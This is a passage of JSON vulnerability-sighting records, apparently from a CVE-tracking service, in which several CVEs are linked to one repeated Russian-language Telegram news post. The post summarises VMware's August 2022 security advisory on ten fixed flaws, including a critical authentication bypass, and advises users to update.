\u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-26T02:02:43.712271Z"}, {"uuid": "f1572eb7-7c43-4448-a9ab-5487998ba7db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-27T00:01:19.958188Z"}, {"uuid": "f23c4ab9-4eae-4d67-8e6e-77848194fe4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-27T00:01:20.046705Z"}, {"uuid": "6ed2a053-32ed-497c-b764-2c1a96758c41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-27T00:01:20.092019Z"}, {"uuid": "a7bbcc8f-1e0e-42e1-929a-75d83aafd137", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-27T00:01:20.185486Z"}, {"uuid": "91d4b1a6-9a3d-41e0-8205-0209f55d45fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f 